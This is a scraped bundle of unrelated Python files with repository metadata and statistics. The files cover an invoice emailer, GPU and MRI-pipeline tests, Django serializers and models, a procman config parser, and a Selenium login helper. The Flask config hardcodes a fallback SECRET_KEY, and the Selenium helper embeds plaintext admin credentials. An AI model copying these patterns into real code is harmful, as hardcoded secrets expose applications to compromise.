0.082759

0

0.008541

0.258575

1,895

53

87

35.754717

0.817082

0.037995

0

0.093023

0

0.073117

0

1

0.093023

false

0

0.116279

0.093023

0.744186

0

null

0

null

0

1

0

1

6cda2551861539e7955fba8e1b052ccf729d24d4

3,171

py

Python

execute.py

ikeban/InvoicesSender

7eae2b0b201c91f31ee65bf64779a778d98bfa5e

[ "MIT" ]

null

execute.py

ikeban/InvoicesSender

7eae2b0b201c91f31ee65bf64779a778d98bfa5e

[ "MIT" ]

null

execute.py

ikeban/InvoicesSender

7eae2b0b201c91f31ee65bf64779a778d98bfa5e

[ "MIT" ]

null

import code.PdfReader as PdfReaderModule import code.ExcelReader as ExcelReader import code.TemplateParser as TemplateParser import code.PdfAnalyzer as PdfAnalyzer import code.EmailSender as EmailSender def getFileContent(fileName): read_data = "" with open(fileName, encoding="utf-8") as f: read_data = f.read() return read_data def main(): # TODO Do not forget, to remind user, that [MONTH] should be updated before continueing! print("If you use [MONTH] in you template, don't forget to update it in InvoiceSenderControl.xlsx") input("Press Enter to continue... (close window with script to CANCEL)") print("Parsing excel...") excelReader = ExcelReader.ExcelReader() excelContent = excelReader.getData() excelSmtpData = excelReader.getSmtpData() print("Parsing pdf...") pdfReader = PdfReaderModule.PdfReader() pdfFileNameToItsContentMap = pdfReader.getReadedInvoicesMap() print("Searching pdfs...") pdfAnalyzer = PdfAnalyzer.PdfAnalyzer(pdfFileNameToItsContentMap) emailContentAttachmentList = [] for (invoiceText, emailAddress, templateName, keyWordMap, emailSubject, messageId) in excelContent: invoicesToAttach = pdfAnalyzer.searchSentenceAndUpdateStats(invoiceText) if len(invoicesToAttach) == 0: print("No invoices for: " + emailAddress + " SKIPPING!") continue templateContent = getFileContent("emailTemplates/" + templateName) if templateContent is None or templateContent == "": print("template not existing or empty for: " + emailAddress + " SKIPPING!") continue templateParser = TemplateParser.TemplateParser(templateContent, keyWordMap) emailFilledTemplate = templateParser.getFilledTemplate() emailContentAttachmentList.append( (emailAddress, emailSubject, emailFilledTemplate, invoicesToAttach, messageId) ) print("What will be sent:") for (emailAddress, emailSubject, emailFilledTemplate, invoicesToAttach, messageId) in emailContentAttachmentList: print("To " + emailAddress + " will be send " + str(invoicesToAttach)) print("Checking if all PDFs can be delivered:") pdfAnalyzer.dropStatistics() input("Press Enter to send emails.. (close window with script to CANCEL)") print("Sending emails...") (smtpAddress, smtpPort, ownerEmail, ownerPassword) = excelSmtpData emailSender = EmailSender.EmailSender(smtpAddress, smtpPort, ownerEmail, ownerPassword) for (emailAddress, emailSubject, emailFilledTemplate, invoicesToAttach, messageId) in emailContentAttachmentList: if messageId == None or messageId == "": emailSender.sendEmail(emailAddress, emailSubject, emailFilledTemplate, invoicesToAttach) print("Sent an email to " + emailAddress + " with " + str(invoicesToAttach)) else: emailSender.replayEmail(emailAddress, emailSubject, emailFilledTemplate, invoicesToAttach, messageId) print("Sent response to " + emailAddress + " with " + str(invoicesToAttach)) emailSender.close() if __name__ == '__main__': main()

45.3

123

0.71397

285

3,171

7.905263

0.403509

0.022193

0.095428

0.130937

0.215712

0.182867

0.118065

0.087883

0

0.000785

0.196468

3,171

69

124

45.956522

0.883438

0.027121

0

0.074074

0

0.018519

0.162828

0.008109

0

0.014493

0

1

0.037037

false

0.037037

0.092593

0

0.148148

0.222222

0

null

0

null

0

1

0

1

6ce5b1fdedad3f99e65e3d1f3574b7a7cc248760

715

py

Python

test/serial-gpu.py

ImperialCollegeLondon/software

e8bdb7935817af0fab4ab84b3cdd0509a8f7ccc8

[ "BSD-3-Clause" ]

8

2019-03-20T02:54:03.000Z

2021-08-24T15:26:21.000Z

test/serial-gpu.py

ImperialCollegeLondon/software

e8bdb7935817af0fab4ab84b3cdd0509a8f7ccc8

[ "BSD-3-Clause" ]

32

2019-03-19T23:34:20.000Z

2022-03-22T19:10:28.000Z

test/serial-gpu.py

ImperialCollegeLondon/software

e8bdb7935817af0fab4ab84b3cdd0509a8f7ccc8

[ "BSD-3-Clause" ]

4

2019-03-22T18:14:00.000Z

2021-12-08T14:49:33.000Z

results = open('test-results-gpu.out', 'a') results.write('** Starting serial GPU tests **\n') try: # Fresnel #import fresnel #results.write('Fresnel version : {}\n'.format(fresnel.__version__)) #dev = fresnel.Device(mode='gpu', n=1) #results.write('Fresnel device : {}\n'.format(dev)) # HOOMD import hoomd context = hoomd.context.initialize('--mode=gpu') assert(context.on_gpu()) results.write('HOOMD version : {}\n'.format(hoomd.__version__)) results.write('HOOMD flags : {}\n'.format(hoomd._hoomd.hoomd_compile_flags())) results.write('** Serial GPU tests PASSED **\n\n') except: results.write('** Serial GPU tests FAILED **\n\n') raise

31.086957

88

0.634965

90

715

4.911111

0.344444

0.190045

0.095023

0.117647

0

0.001715

0.184615

715

22

89

32.5

0.756432

0.26014

0

0.341651

0

0.083333

1

0

false

0.083333

0

0.083333

0

null

0

null

0

1

0

1

6ce92f7cc60e57aeb3a0f765328c9efb31ca244a

626

py

Python

.configs/sonatconfig.py

Armcollector/lockdown-workout

a1c4633c8bd47e399bc7297d77f980542885414e

[ "MIT" ]

null

.configs/sonatconfig.py

Armcollector/lockdown-workout

a1c4633c8bd47e399bc7297d77f980542885414e

[ "MIT" ]

null

.configs/sonatconfig.py

Armcollector/lockdown-workout

a1c4633c8bd47e399bc7297d77f980542885414e

[ "MIT" ]

null

import os import urllib.parse basedir = os.path.abspath(os.path.dirname(__file__)) if "DB_CONNECTIONSTRING" in os.environ: params = urllib.parse.quote_plus(os.environ.get("DB_CONNECTIONSTRING")) class Config(object): SECRET_KEY = os.environ.get("SECRET_KEY") or "iR33OXoRSUj5" SQLALCHEMY_DATABASE_URI = "mssql+pyodbc:///?odbc_connect={}".format(params) SQLALCHEMY_TRACK_MODIFICATIONS = False SQLALCHEMY_COMMIT_ON_TEARDOWN = True VERSION = "2.1.0" WTF_CSR_ENABLED = True CACHE_TYPE = "simple" CACHE_DEFAULT_TIMEOUT = 50 MAINTITLE = "Sonats Lockdown Workout " INSTANCE = "SONAT"

28.454545

79

0.728435

80

626

5.425

0.7375

0.062212

0.0553

0

0.015209

0.159744

626

21

80

29.809524

0.809886

0

0.210863

0.051118

0

1

0

false

0

0.125

0

0.8125

0

null

0

null

0

1

0

1

6ceec6d6259423de30eaf0244fd138f63c906931

4,710

py

Python

saleor/api/purchase/serializers.py

glosoftgroup/glosoftgroup-django-pos

b489c402939b9ebabd164c449e7da38fe849d550

[ "BSD-3-Clause" ]

2

2017-07-11T12:40:59.000Z

2017-10-18T18:02:46.000Z

saleor/api/purchase/serializers.py

glosoftgroup/glosoftgroup-django-pos

b489c402939b9ebabd164c449e7da38fe849d550

[ "BSD-3-Clause" ]

12

2017-06-19T07:20:41.000Z

2022-03-15T19:03:33.000Z

saleor/api/purchase/serializers.py

glosoftgroup/glosoftgroup-django-pos

b489c402939b9ebabd164c449e7da38fe849d550

[ "BSD-3-Clause" ]

null

from django.utils.formats import localize from rest_framework.serializers import ( ModelSerializer, HyperlinkedIdentityField, SerializerMethodField, ValidationError, ) from rest_framework import serializers from django.contrib.auth import get_user_model from ...purchase.models import PurchaseProduct as Table from saleor.payment.models import PaymentOption from structlog import get_logger logger = get_logger(__name__) User = get_user_model() class TableListSerializer(serializers.ModelSerializer): unit_cost = SerializerMethodField() total_cost = SerializerMethodField() paid = SerializerMethodField() supplier_name = SerializerMethodField() product_name = SerializerMethodField() pay_option = SerializerMethodField() date = SerializerMethodField() credit_balance = SerializerMethodField() class Meta: model = Table fields = ( 'id', 'invoice_number', 'product_name', 'variant', 'quantity', 'unit_cost', 'total_cost', 'paid', 'credit_balance', 'supplier_name', 'pay_option', 'date', ) def get_pay_option(self, obj): try: options = obj.payment_options.first().name except Exception as e: print(e) options = '' try: return options + '<br> ' + obj.payment_number except: return '' def get_credit_balance(self, obj): try: return "{:,}".format(obj.balance.gross) except Exception as e: print(e) return '' def get_paid(self, obj): try: return "{:,}".format(obj.amount_paid.gross) except Exception as e: print(e) return '' def get_product_name(self, obj): try: return obj.stock.variant.display_product() except: return '' def get_supplier_name(self, obj): try: return obj.supplier.name except: return '' def get_date(self, obj): return localize(obj.created) def get_unit_cost(self, obj): try: return obj.cost_price.gross except Exception as e: return 0 def get_total_cost(self, obj): try: return obj.total_cost.gross except Exception as e: return 0 class DistinctTableListSerializer(serializers.ModelSerializer): purchase_url = HyperlinkedIdentityField(view_name='dashboard:sale_supplier_list') unit_cost = SerializerMethodField() total_cost = SerializerMethodField() total_quantity = SerializerMethodField() supplier_name = SerializerMethodField() product_name = SerializerMethodField() date = SerializerMethodField() class Meta: model = Table fields = ( 'id', 'invoice_number', 'product_name', 'variant', 'quantity', 'unit_cost', 'total_cost', 'total_quantity', 'supplier_name', 'date', 'purchase_url' ) def get_product_name(self, obj): return obj.stock.variant.display_product() def get_date(self, obj): return localize(obj.created) def get_supplier_name(self, obj): try: return obj.supplier.name except: return '' def get_unit_cost(self, obj): try: return obj.cost_price.gross except Exception as e: return 0 def get_total_quantity(self, obj): try: return Table.objects.total_quantity(obj) except: return 0 def get_total_cost(self, obj): try: return Table.objects.total_cost(obj) except: return 0 class PaymentOptionListSerializer(serializers.ModelSerializer): tendered = SerializerMethodField() transaction_number = SerializerMethodField() payment_name = SerializerMethodField() class Meta: model = PaymentOption fields = ( 'id', 'name', 'transaction_number', 'payment_name', 'tendered' ) def get_transaction_number(self, obj): return '' def get_tendered(self, obj): return 0.00 def get_payment_name(self, obj): try: return obj.name except: return ''

25.597826

85

0.562208

432

4,710

5.93287

0.185185

0.039797

0.04682

0.06867

0.508389

0.378463

0.28014

0

0.002642

0.357113

4,710

183

86

25.737705

0.843791

0

0.638158

0

0.063057

0.005945

0

1

0.111842

false

0

0.046053

0.032895

0.506579

0.019737

0

null

0

null

0

1

0

1

6cf5c425b9a007093ff73fa1c5872a082b863b03

18,872

py

Python

externals/libbot/bot2-procman/python/src/bot_procman/sheriff_config.py

ericmanzi/double_pendulum_lqr

76bba3091295abb7d412c4a3156258918f280c96

[ "BSD-3-Clause" ]

null

externals/libbot/bot2-procman/python/src/bot_procman/sheriff_config.py

ericmanzi/double_pendulum_lqr

76bba3091295abb7d412c4a3156258918f280c96

[ "BSD-3-Clause" ]

null

externals/libbot/bot2-procman/python/src/bot_procman/sheriff_config.py

ericmanzi/double_pendulum_lqr

76bba3091295abb7d412c4a3156258918f280c96

[ "BSD-3-Clause" ]

null

TokIdentifier = "Identifier" TokOpenStruct = "OpenStruct" TokCloseStruct = "CloseStruct" TokAssign = "Assign" TokEndStatement = "EndStatement" TokString = "String" TokEOF = "EOF" TokComment = "Comment" TokInteger = "Integer" class Token(object): def __init__ (self, type, val): self.type = type self.val = val class ParseError (ValueError): def __init__ (self, lineno, line_pos, line_text, tokenval, msg): self.lineno = lineno self.offset = line_pos self.text = line_text self.token = tokenval self.msg = msg def __str__ (self): ntabs = self.text.count ("\t") tokenstr = "" if self.token is not None: tokenstr = "token %s" % self.token s = """%s line %d col %s %s %s """ % (self.msg, self.lineno, self.offset, tokenstr, self.text) s += " " * (self.offset - ntabs - 1) + "\t" * ntabs + "^" return s class Tokenizer(object): def __init__ (self, f): self.f = f self.unget_char = None self.line_pos = 0 self.line_len = 0 self.line_buf = "" self.line_num = 1 self.tok_pos = 0 self.prev_tok_pos = 0 def _next_char (self): if self.unget_char is not None: c = self.unget_char self.unget_char = None return c else: if self.line_pos == self.line_len: self.line_buf = self.f.readline () if not len (self.line_buf): return '' self.line_len = len (self.line_buf) self.line_pos = 0 c = self.line_buf[self.line_pos] self.line_pos += 1 if c == '\n': self.line_num += 1 return c def _ungetc (self, c): if not c: return self.unget_char = c def _unescape (self, c): d = { "n": "\n", "r": "\r", "t": "\t" } if c in d: return d[c] return c def next_token (self): c = self._next_char () while c and c.isspace (): c = self._next_char () if not c: return Token (TokEOF, "") self.prev_tok_pos = self.tok_pos self.tok_pos = self.line_pos simple_tokens = { \ "=" : TokAssign, ";" : TokEndStatement, "{" : TokOpenStruct, "}" : TokCloseStruct } if c in simple_tokens: return Token (simple_tokens[c], c) tok_chars = [ c ] if c == "#": while True: c = self._next_char () if not c or c == "\n": return Token (TokComment, "".join (tok_chars)) tok_chars.append (c) if c == "\"": tok_chars = [] while True: c = self._next_char () if c == "\n": raise ParseError (self.line_num, self.tok_pos, self.line_buf, None, "Unterminated string constant") if c == "\\": c = self._unescape (self._next_char ()) elif not c or c == "\"": return Token (TokString, "".join (tok_chars)) tok_chars.append (c) if c.isalpha () or c == "_": while True: c = self._next_char () if not c.isalnum () and c not in "_-": self._ungetc (c) return Token (TokIdentifier, "".join (tok_chars)) tok_chars.append (c) if c.isdigit(): while True: c = self._next_char() if not c.isdigit(): self._ungetc(c) return Token(TokInteger, "".join(tok_chars)) tok_chars.append(c) raise ParseError (self.line_num, self.line_pos, self.line_buf, None, "Invalid character") def escape_str(text): def escape_char(c): if c in r'\"': return '\\' + c return c return "".join([ escape_char(c) for c in text ]) class CommandNode(object): def __init__ (self): self.attributes = { \ "exec" : None, "host" : None, "group" : "", "nickname" : "", "stop_signal" : 0, "stop_time_allowed" : 0 } def to_config_string(self, indent = 0): s = " " * indent lines = [] nickname = self.attributes["nickname"] if len(nickname): lines.append (s + "cmd \"%s\" {" % escape_str(nickname)) else: lines.append (s + "cmd {") pairs = self.attributes.items() pairs.sort() for key, val in pairs: if not val: continue if key in [ "group", "nickname" ]: continue lines.append (s + " %s = \"%s\";" % (key, escape_str(val))) lines.append (s + "}") return ("\n".join (lines)) def __str__ (self): return self.to_config_string() class GroupNode(object): def __init__ (self, name): self.name = name self.commands = [] self.subgroups = {} def add_command (self, command): command.attributes["group"] = self.name self.commands.append (command) def get_subgroup(self, name_parts, create=False): if not name_parts: return self next_name = name_parts[0] if next_name in self.subgroups: return self.subgroups[next_name].get_subgroup(name_parts[1:], create) elif create: subgroup = GroupNode(next_name) self.subgroups[next_name] = subgroup return subgroup.get_subgroup(name_parts[1:], create) else: raise KeyError() def to_config_string(self, indent=0): s = " " * indent if self.name == "": assert indent == 0 val = "\n".join([group.to_config_string(0) for group in self.subgroups.values()]) val = val + "\n".join([cmd.to_config_string(0) for cmd in self.commands]) + "\n" else: val = "%sgroup \"%s\" {\n" % (s, self.name) val = val + "\n".join([group.to_config_string(indent+1) for group in self.subgroups.values()]) val = val + "\n".join([cmd.to_config_string(indent+1) for cmd in self.commands]) val = val + "\n%s}\n" % s return val def __str__ (self): return self.to_config_string(0) class StartStopRestartActionNode(object): def __init__(self, action_type, ident_type, ident, wait_status): assert action_type in ["start", "stop", "restart"] assert ident_type in [ "everything", "group", "cmd" ] self.action_type = action_type self.ident_type = ident_type self.wait_status = wait_status assert wait_status in [None, "running", "stopped"] if self.ident_type == "everything": self.ident = None else: self.ident = ident assert self.ident is not None def __str__(self): if self.ident_type == "everything": ident_str = self.ident_type else: ident_str = "%s \"%s\"" % (self.ident_type, escape_str(self.ident)) if self.wait_status is not None: return "%s %s wait \"%s\";" % (self.action_type, ident_str, self.wait_status) else: return "%s %s;" % (self.action_type, ident_str) class WaitMsActionNode(object): def __init__(self, delay_ms): self.delay_ms = delay_ms self.action_type = "wait_ms" def __str__(self): return "wait ms %d;" % self.delay_ms class WaitStatusActionNode(object): def __init__(self, ident_type, ident, wait_status): self.ident_type = ident_type self.ident = ident self.wait_status = wait_status self.action_type = "wait_status" assert wait_status in ["running", "stopped"] def __str__(self): return "wait %s \"%s\" status \"%s\";" % \ (self.ident_type, escape_str(self.ident), self.wait_status) class RunScriptActionNode(object): def __init__(self, script_name): self.script_name = script_name self.action_type = "run_script" def __str__(self): return "run_script \"%s\";" % escape_str(self.script_name) class ScriptNode(object): def __init__(self, name): self.name = name self.actions = [] def add_action(self, action): assert action is not None assert hasattr(action, "action_type") self.actions.append(action) def __str__(self): val = "script \"%s\" {" % escape_str(self.name) for action in self.actions: val = val + "\n " + str(action) val = val + "\n}\n" return val class ConfigNode(object): def __init__ (self): self.scripts = {} self.root_group = GroupNode("") def _normalize_group_name(self, name): if not name.startswith("/"): name = "/" + name while name.find("//") >= 0: name = name.replace("//", "/") return name.rstrip("/") def has_group(self, group_name): name = self._normalize_group_name(group_name) parts = group_name.split("/") group = self.root_group assert group.name == parts[0] for part in parts: if part in group.subgroups: group = group.subgroups[part] else: return False return True def get_group (self, group_name, create=False): name = self._normalize_group_name(group_name) parts = name.split("/") group = self.root_group return group.get_subgroup(parts[1:], create) def add_script (self, script): assert script.name not in self.scripts self.scripts[script.name] = script def __str__ (self): val = self.root_group.to_config_string() scripts = sorted(self.scripts.values(), key=lambda s: s.name.lower()) val += "\n" + "\n".join([str(script) for script in scripts]) return val class Parser: def __init__ (self): self.tokenizer = None self._cur_tok = None self._next_tok = None def _get_token (self): self._cur_tok = self._next_tok self._next_tok = self.tokenizer.next_token () while self._next_tok.type == TokComment: self._next_tok = self.tokenizer.next_token () return self._cur_tok def _eat_token (self, tok_type): if self._next_tok and self._next_tok.type == tok_type: self._get_token () return True return False def _fail (self, msg): raise ParseError (self.tokenizer.line_num, self.tokenizer.prev_tok_pos, self.tokenizer.line_buf, self._cur_tok.val, msg) def _fail_next_token (self, msg): raise ParseError (self.tokenizer.line_num, self.tokenizer.tok_pos, self.tokenizer.line_buf, self._next_tok.val, msg) def _eat_token_or_fail(self, tok_type, err_msg): if not self._eat_token(tok_type): self._fail_next_token(err_msg) return self._cur_tok.val def _expect_identifier(self, identifier, err_msg = None): if err_msg is None: err_msg = "Expected %s" % identifier self._eat_token_or_fail(TokIdentifier, err_msg) if self._cur_tok.val != identifier: self._fail(err_msg) def _parse_identifier_one_of(self, valid_identifiers): err_msg = "Expected one of %s" % str(valid_identifiers) self._eat_token_or_fail(TokIdentifier, err_msg) result = self._cur_tok.val if result not in valid_identifiers: self._fail(err_msg) return result def _parse_string_one_of(self, valid_strings): err_msg = "Expected one of %s" % str(valid_strings) self._eat_token_or_fail(TokString, err_msg) result = self._cur_tok.val if result not in valid_strings: self._fail(err_msg) return result def _parse_string_or_fail(self): self._eat_token_or_fail(TokString, "Expected string literal") return self._cur_tok.val def _parse_command_param_list (self, cmd): if not self._eat_token (TokIdentifier): return attrib_name = self._cur_tok.val attribs = { "exec" : TokString, "host" : TokString, "auto_respawn" : TokString, "group" : TokString, "stop_signal" : TokInteger, "stop_time_allowed" : TokInteger } if attrib_name not in attribs: self._fail("Unrecognized attribute %s" % attrib_name) self._eat_token_or_fail(TokAssign, "Expected '='") if attribs[attrib_name] == TokString: attrib_val = self._parse_string_or_fail() else: self._eat_token_or_fail(TokInteger, "Expected integer literal") attrib_val = int(self._cur_tok.val) self._eat_token_or_fail(TokEndStatement, "Expected ';'") if attrib_name == "stop_signal" and attrib_val < 1: self._fail("Invalid value specified for command attribute 'stop_signal'") elif attrib_name == "stop_time_allowed" and attrib_val < 1: self._fail("Invalid value specified for command attribute 'stop_time_allwoed'") cmd.attributes[attrib_name] = attrib_val return self._parse_command_param_list (cmd) def _parse_command (self): cmd = CommandNode () if self._eat_token(TokString): cmd.attributes["nickname"] = self._cur_tok.val if "/" in self._cur_tok.val: self._fail("'/' character not allowed in command name") self._eat_token_or_fail (TokOpenStruct, "Expected '{'") self._parse_command_param_list (cmd) self._eat_token_or_fail (TokCloseStruct, "Expected '}'") if not cmd.attributes["exec"]: self._fail ("Invalid command defined -- no executable specified") return cmd def _parse_group(self, parent_group): self._eat_token_or_fail (TokString, "Expected group name string") if "/" in self._cur_tok.val: self._fail("'/' character is not allowed in group name") elif not self._cur_tok.val.strip(): self._fail("Empty group name is not allowed") name = self._cur_tok.val group = parent_group.get_subgroup([name], True) self._eat_token_or_fail (TokOpenStruct, "Expected '{'") while self._eat_token(TokIdentifier): if self._cur_tok.val == "cmd": group.add_command(self._parse_command()) elif self._cur_tok.val == "group": self._parse_group(group) else: self._fail("Expected one of [group, cmd]") self._eat_token_or_fail(TokCloseStruct, "Expected '}'") def _parse_start_stop_restart_action(self, action_type): valid_ident_types = [ "everything", "cmd", "group" ] ident_type = self._parse_identifier_one_of(valid_ident_types) ident = None if ident_type != "everything": ident = self._parse_string_or_fail() if self._eat_token(TokEndStatement): return StartStopRestartActionNode(action_type, ident_type, ident, None) self._expect_identifier("wait", "Expected ';' or 'wait'") wait_status = self._parse_string_one_of(["running", "stopped"]) self._eat_token_or_fail(TokEndStatement, "Expected ';'") return StartStopRestartActionNode(action_type, ident_type, ident, wait_status) def _parse_wait_action(self): wait_type = self._parse_identifier_one_of(["ms", "cmd", "group"]) if wait_type == "ms": err_msg = "Expected integer constant" delay_ms = int(self._eat_token_or_fail(TokInteger, err_msg)) self._eat_token_or_fail(TokEndStatement, "Expected ';'") return WaitMsActionNode(delay_ms) else: ident = self._parse_string_or_fail() self._expect_identifier("status") wait_status = self._parse_string_one_of(["running", "stopped"]) self._eat_token_or_fail(TokEndStatement, "Expected ';'") return WaitStatusActionNode(wait_type, ident, wait_status) def _parse_run_script(self): script_name = self._eat_token_or_fail(TokString, "expected script name") self._eat_token_or_fail(TokEndStatement, "Expected ';'") return RunScriptActionNode(script_name) def _parse_script_action_list(self): self._eat_token_or_fail (TokOpenStruct, "Expected '{'") actions = [] while self._eat_token(TokIdentifier): action_type = self._cur_tok.val if action_type in [ "start", "stop", "restart" ]: action = self._parse_start_stop_restart_action(action_type) actions.append(action) elif action_type == "wait": actions.append(self._parse_wait_action()) elif action_type == "run_script": actions.append(self._parse_run_script()) else: self._fail("Unexpected token %s" % action_type) self._eat_token_or_fail(TokCloseStruct, "Unexpected token") return actions def _parse_script(self): name = self._eat_token_or_fail(TokString, "expected script name") script_node = ScriptNode(name) for action in self._parse_script_action_list(): script_node.add_action(action) self._node.add_script(script_node) def _parse_listdecl(self): while True: if self._eat_token(TokEOF): return ident_type = self._parse_identifier_one_of(["cmd", "group", "script"]) if ident_type == "cmd": self._node.root_group.add_command(self._parse_command()) if ident_type == "group": self._parse_group(self._node.root_group) if ident_type == "script": self._parse_script() def parse (self, f): self.tokenizer = Tokenizer (f) self._cur_tok = None self._next_tok = None self._get_token () self._node = ConfigNode() self._parse_listdecl() return self._node def config_from_filename (fname): return Parser ().parse (file (fname)) if __name__ == "__main__": import sys try: fname = sys.argv[1] except IndexError: print "usage: sheriff_config.py <fname>" sys.exit (1) print config_from_filename (fname)

34.755064

106

0.572011

2,245

18,872

4.499777

0.093987

0.023758

0.033261

0.030489

0.411206

0.332013

0.243714

0.174421

0.1176

0.077014

0

0.002249

0.316819

18,872

542

107

34.819188

0.781277

0

0.262821

0

0.081708

0

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0

0.021368

0

null

0

0.002137

null

0.004274

0

null

0

null

0

1

0

1

9f03f062a720d101370b2aeaa19a382b35aa2aa7

2,203

py

Python

test/unittests/analysis/mri/test_base.py

monashbiomedicalimaging/nianalysis

d69c38eed52ae557a849889930cd659cdb3c6401

[ "Apache-2.0" ]

2

2019-11-14T01:02:26.000Z

2022-03-17T01:47:01.000Z

test/unittests/analysis/mri/test_base.py

MonashBI/banana

37364243b520ab14ac1243005dbd465f824542b4

[ "Apache-2.0" ]

18

2019-04-03T04:25:55.000Z

2020-06-08T06:00:56.000Z

test/unittests/analysis/mri/test_base.py

MonashBI/nianalysis

37364243b520ab14ac1243005dbd465f824542b4

[ "Apache-2.0" ]

4

2018-05-23T07:13:02.000Z

2018-08-24T04:05:31.000Z

from banana.analysis.mri.base import MriAnalysis from banana.utils.testing import AnalysisTester, PipelineTester, TEST_CACHE_DIR from banana import FilesetFilter from arcana.repository.xnat import XnatRepo class TestMriBaseDefault(AnalysisTester): analysis_class = MriAnalysis parameters = {'mni_tmpl_resolution': 1} inputs = ['magnitude', 'coreg_ref'] class TestMriAnalysis(PipelineTester): name = 'BaseMri' analysis_class = MriAnalysis ref_repo = XnatRepo(server='https://mbi-xnat.erc.monash.edu.au', project_id='TESTBANANAMRI', cache_dir=TEST_CACHE_DIR) parameters = { 'mni_tmpl_resolution': 1} def test_preprocess_channels_pipeline(self): pass # Need to upload some raw channel data for this def test_coreg_pipeline(self): self.run_pipeline_test('coreg_pipeline') def test_brain_extraction_pipeline(self): self.run_pipeline_test('brain_extraction_pipeline') def test_brain_coreg_pipeline(self): self.run_pipeline_test('brain_coreg_pipeline', add_inputs=['coreg_ref']) def test_coreg_fsl_mat_pipeline(self): self.run_pipeline_test('coreg_fsl_mat_pipeline', add_inputs=['coreg_ref']) def test_coreg_ants_mat_pipeline(self): self.run_pipeline_test('coreg_ants_mat_pipeline', add_inputs=['coreg_ref']) def test_coreg_to_tmpl_pipeline(self): self.run_pipeline_test('coreg_to_tmpl_pipeline', add_inputs=['coreg_ref'], test_criteria={ 'coreg_to_tmpl': {'rms_tol': 20000}}) def test_qform_transform_pipeline(self): self.run_pipeline_test('qform_transform_pipeline', add_inputs=['coreg_ref']) def test_preprocess_pipeline(self): self.run_pipeline_test('preprocess_pipeline') def test_header_extraction_pipeline(self): self.run_pipeline_test('header_extraction_pipeline') def test_motion_mat_pipeline(self): self.run_pipeline_test('motion_mat_pipeline')

34.968254

79

0.663187

250

2,203

5.432

0.296

0.056701

0.11782

0.139912

0.467599

0.388807

0.343152

0.143594

0.05891

0

0.00425

0.252383

2,203

62

80

35.532258

0.820279

0.020427

0

0.133333

0

0.180427

0.065863

0

1

0.244444

false

0.022222

0.088889

0

0.533333

0

null

0

null

0

1

0

1

9f06666109409538bd3e098b187da1a2987b3910

1,034

py

Python

application.py

ane4katv/python_training

d8ba6dbed0b43402e8b09a5b6cf8de52703e18a1

[ "Apache-2.0" ]

null

application.py

ane4katv/python_training

d8ba6dbed0b43402e8b09a5b6cf8de52703e18a1

[ "Apache-2.0" ]

null

application.py

ane4katv/python_training

d8ba6dbed0b43402e8b09a5b6cf8de52703e18a1

[ "Apache-2.0" ]

null

from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys class Application: def __init__(self): self.wd = webdriver.Chrome(executable_path='/Users/atvelova/Documents/python_training/chromedriver') self.wd.implicitly_wait(60) def open_page(self): wd = self.wd wd.get("http://hrm.seleniumminutes.com/symfony/web/index.php/auth/login") def login(self): wd = self.wd self.open_page() wd.find_element(By.ID, "txtUsername").click() wd.find_element(By.ID, "txtUsername").send_keys("admin") wd.find_element(By.ID, "txtPassword").send_keys("Password") wd.find_element(By.ID, "txtPassword").send_keys(Keys.ENTER) self.wd.implicitly_wait(60) def logout(self): wd = self.wd wd.find_element(By.ID, "welcome").click() self.wd.implicitly_wait(60) wd.find_element(By.LINK_TEXT, "Logout").click() def destroy(self): self.wd.quit()

32.3125

108

0.662476

140

1,034

4.742857

0.385714

0.099398

0.11747

0.135542

0.365964

0.268072

0.108434

0

0.007264

0.201161

1,034

32

109

32.3125

0.79661

0

0.24

0

0.180676

0.052174

0

1

0.2

false

0.08

0.12

0

0.36

0

null

0

null

0

1

0

1

9f0cf9dacde698a4632f08679730078e59456da8

720

py

Python

scripts/subsample_model_files.py

musicpiano/mlmicrophysics

720e09b9003285e4e601df8befd58337bee691f5

[ "MIT" ]

4

2021-01-05T13:18:28.000Z

2021-09-29T09:53:28.000Z

scripts/subsample_model_files.py

musicpiano/mlmicrophysics

720e09b9003285e4e601df8befd58337bee691f5

[ "MIT" ]

5

2020-11-16T15:53:24.000Z

2021-07-22T20:16:11.000Z

scripts/subsample_model_files.py

musicpiano/mlmicrophysics

720e09b9003285e4e601df8befd58337bee691f5

[ "MIT" ]

4

2020-07-08T13:04:44.000Z

2022-01-09T13:36:55.000Z

import xarray as xr import argparse from glob import glob def main(): parser = argparse.ArgumentParser() parser.add_argument("-i", "--input", help="Input File Directory") parser.add_argument("-o", "--output", help="Output file directory") parser.add_argument("-x", "--xsub", type=int, default=2, help="X and Y subset factor") parser.add_argument("-z", "--zsub", type=int, default=1, help="Z subset factor") parser.add_argument("-t", "--tsub", type=int, default=1, help="Time subset factor") args = parser.parse_args() nc_files = sorted(glob(args.input + "*.nc")) for nc_file in nc_files: ds = xr.open_dataset(nc_file) ds.close() if __name__ == "__main__": main()

37.894737

90

0.652778

103

720

4.378641

0.475728

0.099778

0.18847

0.097561

0.345898

0

0.005051

0.175

720

19

91

37.894737

0.754209

0

0.208044

0

1

0.058824

false

0

0.176471

0

0.235294

0

null

0

1

0

null

0

1

9f109b8c71bc216b9f304425a1fe0bb9187d6712

1,187

py

Python

TaskManage/models.py

CooloiStudio/django-hotel-manager

dce558bfeedbb45e5d58bc875dfa936940d57ed5

[ "MIT" ]

1

2021-08-07T18:44:32.000Z

TaskManage/models.py

CooloiStudio/django-hotel-manager

dce558bfeedbb45e5d58bc875dfa936940d57ed5

[ "MIT" ]

null

TaskManage/models.py

CooloiStudio/django-hotel-manager

dce558bfeedbb45e5d58bc875dfa936940d57ed5

[ "MIT" ]

1

2017-09-10T07:23:05.000Z

# coding: utf-8 from django.db import models from django.contrib.auth.models import User from RoomManage.models import Room, Customs # Create your models here. class Task(models.Model): context = models.TextField() date = models.DateTimeField() task_status = models.CharField(max_length=20, default='undo') user = models.ForeignKey(User) room = models.ForeignKey(Room) def __str__(self): return '%s %s - %s' % (self.user.last_name, self.user.first_name, self.room.room_num) class Attendance(models.Model): clock_in = models.DateTimeField() clock_out = models.DateTimeField(null=True, blank=True) user = models.ForeignKey(User) def __str__(self): return '%s %s -- %s' % (self.user.last_name, self.user.first_name, self.clock_in) class Emergency(models.Model): date_time = models.DateTimeField() room = models.ForeignKey(Room) user = models.ForeignKey(User, null=True, blank=True) def __str__(self): return '%s %s - %s' % (self.user.last_name, self.user.first_name, self.room.room_num) class Meta: permissions = ( ('create_emergency', 'can create a emergency'), )

27.604651

93

0.676495

157

1,187

4.942675

0.343949

0.015464

0.07732

0.092784

0.257732

0

0.003145

0.196293

1,187

42

94

28.261905

0.810273

0.032013

0

0.333333

0

0.0637

0

1

